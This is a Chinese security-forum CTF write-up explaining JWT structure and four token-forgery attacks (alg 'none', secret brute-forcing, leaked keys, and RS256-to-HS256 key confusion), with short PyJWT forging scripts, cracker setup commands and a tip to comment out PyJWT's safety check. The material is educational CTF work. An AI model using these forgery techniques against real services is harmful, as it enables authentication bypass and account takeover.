用户
搜索
  • TA的每日心情
    慵懒
    7 天前
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    0

    主题

    7

    帖子

    105

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-10-8

    i春秋签约作者

    发表于 2021-2-2 03:45:00 66628
    本帖最后由 fatmo 于 2021-2-23 21:35 编辑

    本文原创作者fatmo,本文属i春秋原创奖励计划,未经许可禁止转载。


    0x00  
    JSON Web Token简介

    JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

    简单总结,JSON Web Token(下文以JWT表示)是当下最流行的跨域身份验证问题解决方案。不同于传统的session验证机制,它不需要在服务端去保留用户的认证信息或者会话信息,利于分布式应用的扩展,且天然防御CSRF攻击。

    JWT的基本工作流程如下:

    • 用户进行登陆操作,将用户名密码提交至服务器
    • 服务器接收并验证用户名密码
    • 验证通过,服务器向用户发送一串token
    • 客户端存储token,在每一次请求时均发送这串token值进行验证
    • 服务端验证token值,验证成功则返回数据

    0x01  JSON Web Token格式


    JWT一共由三部分组成,分别为头部(header),载荷(payload),签证(signature)。
    header


    header承载两部分信息:
    • 声明类型
    • 声明加密的算法

    完整的头部信息如下所示:
    {
      "alg": "HS256",
      "typ": "JWT"
    }
    将头部信息进行base64编码,即可得到第一部分:

    ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9


    payload


    payload承载三部分信息:
    • 标准中注册的声明
    • 公共的声明
    • 私有的声明

    1.标准中注册的声明具体如下(不强制使用):
    • iss:JWT签发者
    • sub:JWT所面向的用户
    • aud:接收JWT的一方
    • exp:jwt的过期时间
    • nbf定义在什么时间之前,该JWT无效
    • iat:JWT的签发时间
    • jti:JWT唯一的身份标识,主要用来作为一次性token,从而回避重放攻击

    2.公共的声明可以添加任何信息,但是不建议添加敏感信息,因为该部分内容是公开的。
    3.私有的声明私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为该部分内容是公开的。
    完整的payload实例如下:
    {
      "sub": "1234567890",
      "name": "John Doe",
      "iat": 1516239022
    }
    对其进行base64编码,得到第二部分:

    eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ


    signature


    signature承载着三部分信息,分别为:
    • base64编码后的header
    • base64编码后的payload
    • secret
    base64编码后的header与base64编码后的payload通过符号.相连,然后通过header中声明的加密方式进行加盐secret组合加密,便构成完整的第三部分。

    完整的signature实例如下:
    HMACSHA256(
      base64UrlEncode(header) + "." +
      base64UrlEncode(payload),
      your-256-bit-secret
    )

    最后将header,payload,signature通过符号.相连,即构成完整的JWT,如下所示:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c



    0x02  考点一:将加密算法修改为None绕过加密


    node的jsonwebtoken包存在漏洞,当用户传入的token声明加密算法为none时,jsonwebtoken包会尝试使用none解密算法进行解密。当我们构造一个token,其加密算法为none,就可以无视secret越权。

    CTF例题

    打开kali,依次输入已下命令创建环境:
    sudo docker pull gluckzhang/ctf-jwt-token
    sudo docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
    1.然后,访问本机8080端口进入题目

    题目界面

    题目界面

    2.是一个简单的登陆界面,尝试admin:123456弱口令组合进行登陆。登陆失败,网站给出了一组可用的用户名密码。
    QQ截图20210202060010.png

    3.尝试用该组合登陆,登陆成功,网站提示当前为commmon user(普通用户)
    QQ截图20210202060010.png

    4.猜测需要admin权限,burp抓包,发现疑似JWT的token
    QQ截图20210202060010.png

    5.将token放入网站jwt.io进行解码,发现是使用HS256加密的JWT
    QQ截图20210202060010.png

    6.尝试修改加密方式为none绕过加密。使用python的PyJWT库来生成新的JWT。代码如下:
    import jwt
    
    payload = {
        "auth": 1612215427477,
        "agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
        "role": "admin",
        "iat": 1612215427
    }
    
    print(jwt.encode(payload,None,algorithm="none"))

    其中,需要将pyload中的role部分修改为admin,并修改jwt.encode的第二个参数为None。
    QQ截图20210202060010.png

    7.在burp中将http包中的token修改为新生成的token并发送,成功越权,得到flag
    QQ截图20210202060010.png

    0x03  考点二:密钥爆破


    对于一些复杂度较低的密钥,可以直接使用程序爆破,再伪造token解决

    [CISCN2019 华北赛区 Day1 Web2]ikun


    buuoj已收录该题,传送门:ikun]ikun

    1.进入网站,是一个类似商城的界面
    QQ截图20210202060010.png

    2.网站拥有登陆和注册功能。注册并登陆后发现初始金额为1000
    QQ截图20210202060010.png

    3.根据主页提示,得知需要购买lv6的账号
    QQ截图20210202060010.png

    4.翻了十几页,没有找到lv6的账号,估计其被隐藏在很后面,写个小脚本找出来,代码如下:
    import requests
    
    url = "http://e1c46675-ecd4-42c5-b94b-acbbf3b1e8ae.node3.buuoj.cn/shop?page="
    
    for page in range(0, 200, 1):
        reqUrl = url + str(page)
        req = requests.get(url=reqUrl)
        if "lv6.png" in req.text:
            print(page)


    找到lv6账号位于第181页
    QQ截图20210202060010.png
    5.lv6的账号价格极高,burp抓包看是否由可修改的参数
    QQ截图20210202060010.png
    参数discont很可疑,尝试改成0.0000000001并发送

    6.似乎购买成功了,但网页提示只有admin可以访问返回的页面
    QQ截图20210202060010.png

    7.回看http包,发现JWT


    8.放入网站解码,payload很简单,只有username一项
    QQ截图20210202060010.png

    9.尝试None绕过失败,使用工具c-jwt-cracker进行爆破
    打开kali,依次输入命令安装工具:
    git clone https://github.com/brendan-rius/c-jwt-cracker.git
    cd c-jwt-cracker/
    apt-get install libssl-dev
    make

    安装成功后使用工具跑完整的token,爆破出密码为1Kun
    QQ截图20210202060010.png

    10.前往网站jwt.io伪造新的JWT,修改username为admin,修改secret为1Kun
    QQ截图20210202060010.png

    11.使用插件EditThisCookie(火狐浏览器)将原token替换为伪造好的token,成功绕过
    QQ截图20210202060010.png
    QQ截图20210202060010.png

    12.此题后续涉及python的反序列化,非本文重点,感兴趣可前往此处查看

    0x04  考点三:密钥泄露


    信息泄露是CTF中常见的考点,JWT的密钥可能会泄露于源码等敏感文件中。

    BugKu jwt


    1.对网站进行目录扫描,得到后缀为.swp的文件,swp为vim编辑器在非正常关闭下生成的文件
    2.使用指令vim -r恢复文件,得到源码如下:

    <?php
        error_reporting(0);
        require_once 'src/JWT.php';
    
        const KEY = 'L3yx----++++----';
    
        function loginkk()
        {
            $time = time();
            $token = [
              'iss'=>'L3yx',
              'iat'=>$time,
              'exp'=>$time+5,
              'account'=>'kk'
            ];
            $jwt = \Firebase\JWT\JWT::encode($token,KEY);
            setcookie("token",$jwt);
            header("location:user.php");
        }
    
        if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
        {
            if($_POST['username']=='kk' && $_POST['password']=='kk123')
            {
                loginkk();
            }
            else
            {
                echo "账号或密码错误";
            }
        }
    ?>
    3.源码中泄露了JWT的密钥为:L3yx----++++----。按照上文所示的伪造方法,伪造JWT,访问页面,得到flag。此处不再赘述。

    0x05  考点四:将非对称加密修改为对称加密


    JWT的签名算法除了支持非对称的RSA外,还支持对称的加密算法,且我们只需要修改header的alg就可以实现对加密方式的定义。当我们尝试把非对称加密修改为对称加密时,非对称加密的公钥就变成对称加密的私钥,而我们可以获得非对称加密的公钥,此时只需要让后端认为JWT未被篡改,即可伪造。漏洞出自CVE-2017-11424
    以RS256和HS256为例,解释该漏洞的使用方法:


    RS256的签名流程是:
    • 使用私钥对JWT签名
    • 使用公钥验证JWT是否被篡改



    HS256的签名流程是:
    • 使用密钥对JWT签名
    • 使用同一个密钥验证JWT是否被篡改



    显然,RS256的公钥可以公开,但HS256的密钥不可以公开。
    而利用方法具体为:
    • 修改JWT的header,将加密方式从RSA256改为HS256
    • 根据我们的需要修改JWT的payload
    • 获得RSA256的公钥,对解码后的JWT重新签名
    • 发送至服务器,服务器使用HS256算法进行验证,成功绕过


    hackergame2020 普通的身份认证器


    1.进入网页,发现需要登陆,点击以Guest登陆,尝试获取用户信息,发现需要admin权限
    QQ截图20210202060010.png


    2.网站后端使用的是Fast API框架,那么,尝试访问/docs,发现网站存在docs
    QQ截图20210202060010.png

    3.发现一个可以的路由/debug,尝试访问,返回了公钥
    QQ截图20210202060010.png

    4.使用python的PyJWT库对JWT进行伪造,脚本源码如下:
    import jwt
    
    PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n"
    
    payload = {
      "username": "admin",
      "pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
      "iat": 1605940233
    }
    
    encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
    
    print(encoded)
    将签名方式改为HS256,使用泄露的公钥进行签名。


    5.直接运行会报错,因为PyJWT已经修复了这个漏洞,当PyJWT接收到对称加密的JWT时,会检查密钥开头是否是非对称加密的公钥。
    QQ截图20210202060010.png

    6.我们需要对PyJWT库进行魔改,找到文件\jwt\algorithms.py,将第147至第151行注释
    QQ截图20210202060010.png

    7.注释后成功生成JWT,请求/profile即可得到flag


    0x06  总结


    JWT在CTF中考点为身份伪造,且常与其他考点进行结合。与信息泄露结合便是密钥泄露问题,与非对称加密结合便是非对称加密转换至对称加密的问题。因此,解决JWT问题,不仅需要掌握JWT的相关知识,还需要掌握与JWT结合的考点。


    0x07  参考链接



    发表于 2021-2-3 10:24:18
    村长前来鼓励
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2021-2-3 21:33:14

    谢谢村长!
    使用道具 举报 回复
    感谢楼主分享
    使用道具 举报 回复
    发表于 2021-2-23 17:42:18
    swp问vim编辑器在非正常关闭下生成的文件 手滑写错了?swp为vim编辑器
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2021-2-23 17:51:30
    150稿费没什么问题
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发表于 2021-2-23 21:36:25
    村长CZ 发表于 2021-2-23 17:42
    swp问vim编辑器在非正常关闭下生成的文件 手滑写错了?swp为vim编辑器

    已修改
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册